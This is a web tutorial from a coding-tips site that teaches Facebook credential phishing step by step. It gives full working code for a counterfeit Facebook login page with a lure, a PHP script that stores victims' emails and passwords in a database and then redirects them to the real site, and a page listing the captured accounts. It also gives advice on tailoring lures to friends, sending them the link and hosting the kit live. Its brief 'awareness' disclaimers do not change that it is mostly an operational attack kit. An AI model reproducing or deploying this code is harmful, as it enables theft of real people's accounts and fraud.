codescracker


computer tips and tricks

How to Hack Facebook Account/Password with Code



« Previous Tip Next Tip »


Here you will get genuine tips about hacking of anyone's facebook account id and password along with code and example.

Message before Hacking Facebook Account

This is just a tutorial to make you aware that how any of your account can be hacked just using phishing attack.

This tutorial is based on hacking facebook account with your own code, not for making someone in trouble, therefore don't use the code given here to actually hack anyone's facebook account as this is illegal action.

After reading this tutorial on hacking facebook account, you will feel safe and can put yourself in safer area when operating your account over internet such as facebook, gmail, or even bank account.

You will also understand the result of opening some unknown link send by anyone even by your friend.

Now, let's start the tutorial on hacking facebook account id and facebook account password using your own code.

What to do before Hacking Facebook Account

Before start hacking facebook account using this tutorial, you must have some basic idea about following languages:

Now, you are thinking why it is necessary to learn or have some basic idea about the above languages, the answer is, to create login form that looks like same as facebook login page (HTML and CSS used here), and then store user's login credentials in database (PHP and MySQLi used here), and at last redirect users to the original facebook page (JavaScript used here).

Now, i think you have got the idea after reading the above line, that you will hack facebook account just by using phishing attack after reading and implementing the code given here.

If you have already learned the above languages and want to re-check your knowledge then you can give the test such as HTML Test, CSS Test, JavaScript Test, PHP Test, and MySQL Test and can re-check on the basis of result that you will got after giving each and every test.

After reading this tutorial of facebook account hacking, you will able to implement phishing attack with your own to hack too many facebook account id and password.

Tips to Trap Users to Hack their Facebook Account

There are following tips that teaches you how you can easily trap targetted users to hack their facebook account id and password:

Steps to Hack Facebook Account/Password

Here are the list of steps to follow for hacking facebook account/password:

After sending the login link to your targetted users, you don't have to do after this or second last step, as after this step, your targetted users will start doing for you, that is in indirect words, he/she will automatically give you the facebook account id and password in your database, and you only have to watch in your database whether his/her facebook id and password came or not.

You can also make a web page used to see the list of targetted and trapped users facebook account password along with his/her facebook id.

If you design the last step, that is, a web page that shows the hacked facebook account detail, then you don't have to go in your database and check whether any user is trapped or not.

Now let's see the step by step code and description used in hacking anyone's facebook account id and password.

1. Make Login Page looks like Facebook Login Page

Before starting this step, first check what your targetted user like most, for example if your friend like to earn money in very short time then create a login page with message, or if your friend like to be healthy or he/she likes to fight or making body healthy, then put the message with some body fitness training tips etc.

Now let's do the first step by creating a demo login page with following code.

This login code is for mobile users, you can implement redirection code to redirect users to mobile, or desktop version login page using the JavaScript code, you will get the code after this login code.

<!doctype html>
<html>
<head>
	<title>Top 10 Tips to Earn Money in Short Time</title>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
	<meta name="description" content="Here are the list of top 10 tips to earn money in short time and become a
	successful earner in today's market. This list are exclusive to get for free to everyone.">
	<meta property='og:image' content='earnmoney.jpg' />
	<link rel="shortcut icon" href="https://www.facebook.com/rsrc.php/yl/r/H3nktOa7ZMg.ico">
	<style>
		table tr td{text-align:center;}
		.bottom a{color:#D3D3D3;}
		.bottom a:link{text-decoration:none;}
		input{padding:10px;}
		.login{background-color:#3b5998;color:white;}
		.check{background-color:#32CD32;color:white;padding:12px;}
		.inputf a:link{text-decoration:none;}
	</style>
</head>
<body style="margin:0px;">
<script>
	document.title='Facebook - Log In or Sign Up';
</script>
<div style="width:100%;">
<div style="height:40px;background-color:#3b5998;padding-bottom:10px;padding-left:5px;">
	<span style="color:white;font-size:120%;"><br/>facebook</span>
</div>
<div style="background-color:#FAFAD2;padding:5px;line-height:23px;text-align:center;">
	<span style="color:purple;">Login to continue to get top 10 exclusive tips to earn money in short time.</span>
</div>
<div class="inputf" style="background-color:AliceBlue;padding:10px;text-align:center;"><br/>
	<form name="fbform" method="post" action="login.php">
		<input name="email" type="text" id="email" placeholder="Email address or phone number" maxlength="40" size="30px"
		required><br/><br/>
		<input name="pass" type="password" id="pass" placeholder="Password" maxlength="40" size="30px"
		required><br/><br/>
		<input class="login" name="login" type="submit" id="submit" value="Log In" size="60px"><br/><br/>
		<span style="text-align:center;">Or</span><br/><br/>
		<a class="check" href="#email" onclick='document.getElementById("email").focus();'>Create New Account</a><br/><br/>
		<a href="#email" onclick='document.getElementById("email").focus();'>Forgotten password?</a> <br/><br/>
		<a href="#email" onclick='document.getElementById("email").focus();'>Help Centre</a><br/>
	</form>
</div>
<div class="bottom" style="background-color:#808080;padding:10px;">
	<table style="width:250px;margin-left:auto;margin-right:auto;color:#D3D3D3;">
	<tr>
		<td><a href="#email" onclick='document.getElementById("email").focus();'>English (UK)</a></td>
		<td><a href="#email" onclick='document.getElementById("email").focus();'>English (US)</a></td>
	</tr>
	<tr>
		<td><a href="#email" onclick='document.getElementById("email").focus();'>English (In)</a></td>
		<td><a href="#email" onclick='document.getElementById("email").focus();'>More</a></td>
	</tr>
	</table>
	<p style="text-align:center;color:white;">Facebook</p>
</div>
</div>
</body>
</html>

Save the above code inside the directory C:\xampp\htdocs\ with name earnmoney.php and put the image that shows some dollar's inside the same directory with same name but with extension .jpg that is earnmoney.jpg

Now open XAMPP and start the Apache and MySQL module. If you are not getting some idea about what i am telling then follow our PHP and MySQLi tutorial to feel better and start to the next step of hacking facebook account id and password.

Now if you will open your browser and type localhost/earnmoney.php, then here is the sample screenshot you will see:

hack facebook account id password

As the above code is only used or made for mobile users.

But you have to create the same login page for both users, that is, for mobile facebook users and desktop facebook users.

Create another login page with name earnmoneyD.php for desktop to redirect desktop users to this page.

Here is the redirection code to use to redirect your targetted users to desktop page if users are from desktop:

<script type="text/javascript">
if (screen.width > 800) { window.location = "localhost/earnmoneyD.php"; }
</script>

Put the above code at top of the login page that you have created using the above code.

2. Create Script to Store Facebook Login Credentials

Here is the login handler script to store facebook login credentials of the targetted users in the database:

<?php 
	$conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
	if(mysqli_connect_error())
	{
		// redirect users to original facebook if error occurred
		header("location: https://www.facebook.com");
		exit();
	}
?>
<!doctype html>
<html>
<head>
	<title>Logging in to facebook</title>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
</head>
<body style="margin:0px;"> 
<?php
	if($_SERVER["REQUEST_METHOD"] == "POST")
	{
		if(isset($_POST['login']))
		{
			$email = $pass = "";
			// get facebook email id
			$email = $_POST["email"];
			// get facebook password
			$pass = $_POST["pass"];
			// insert the facebook id and password in database
			$sql = "insert into fbusers(facebookid, facebookpassword) values('$email', '$pass')";
			$result = $conn->query($sql);
		}
	}
	// redirect users to original facebook url
	header("location: https://www.facebook.com");
	exit();
?> 
</body>
</html>

Put the above file inside same directory with name login.php.

3. Redirect Users to Orignal Facebook URL

As you can see from the above step two, the following code:

header("location: https://www.facebook.com");

is used to redirect users to original facebook.

4. Make Database to Store Facebook Id and Password

Now create a database with same name and then create a table with same name and at last create columns with same details as used in the above code, that is, database named fbhackedusers, table named fbusers and then columns namely facebookid and facebookpassword.

5. Send Facebook Hacking Link to Friend

Now send the link to your friends to start getting their facebook account id and password.

6. Create Web page to List Hacked Facebook Users

To see your trapped users or hacked facebook account id and password you have to go to your database again and again, therefore to make it simple to see the hacked facebook account id and password, just make another webpage that lists the facebook account id and password in the form of table as shown in the following code:

<?php 
	$conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
?>
<!doctype html>
<html>
<head>
	<title>List of Facebook Users Hacked by Me</title>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
	<style>
		table th, td{border:1px solid black;padding:10px;}
	</style>
</head>
<body>
<?php 
	$sql = "select * from fbusers";
	$res = $conn->query($sql);
	echo "<table>";
	echo "<tr>";
	echo "<th>Facebook Id</th>";
	echo "<th>Facebook Password</th>";
	echo "</tr>";
	while($row=mysqli_fetch_row($res))
	{
		echo "<tr><td> $row[1] </td> <td> $row[2] </td></tr>";
	}
	echo "</table>"; 
?>
</body>
</html>

Put the above file inside the same directory with name hackedusers.php.

Example of Hacking Facebook Account/Password

Now let's see the screenshot step by step of hacking facebook account id and password of your friend.

Here is the screenshot of demo login page when your friend click on the link you sent to him/her.

hack facebook account

Now your friend will enter his/her facebook account id and password just to get some exclusive tips to earn money in short time. You can also change the message, title and description of the page as per your requirement, that is, what your friend like most.

Here is the demo screenshot after entering the facebook login credentials:

hack facebook account code

Now after entering the facebook login credentials and pressing on the Log In button, your login handler script will store the details inside the database and redirect the users to the facebook original URL.

Now your friend's facebook account id and password stored inside your database, you can see the list of hacked facebook users, you will see using your web page that is created using the last step, that is 6th step. Open the browser and type localhost/hackedusers.php

how to hack facebook account

Now, you can send the link to any of your friends whose facebook account is going to be hacked by you or whose facebook account, you want to hack. And to check whether your friend is trapped in your hacking system or not, continue checking the list of hacked users.

Last Step to Implement Facebook Account Hacking System Live

Now the last and most required step to implement to make your facebook account hacking system live using your website, here are the steps, if you have already a website, for example, named codescracker:

and here are the steps, if you have not any website

After doing all the above things, you have to change the connection string, that is, you have to replace localhost with your hosting address, root with your database username, password with your database password. and then replace localhost/ to http://www.codescracker.com/facebook/

You can also make some changes accordingly to hack anyone's facebook account id and password as this tutorial is just a demo to show you how you will be able to hack anyone's facebook account using some simple methods.

Be Aware when using Internet

Here i have provided the complete tutorial, that is, from beginning to end of hacking facebook account by using phishing attack just to make you aware that how the random link looks like that can cause you in trouble after opening and filling some details inside unknown website, sometime, just on clicking on some random link, you will be hacked or your account will be hacked as there are many types of hackers available over internet that can make you in trouble when you have gone in wrong path or wrong way, therefore be aware when using Internet.


« Previous Tip Next Tip »





Tools
Calculator

Quick Links
Signup - Login - Give Online Test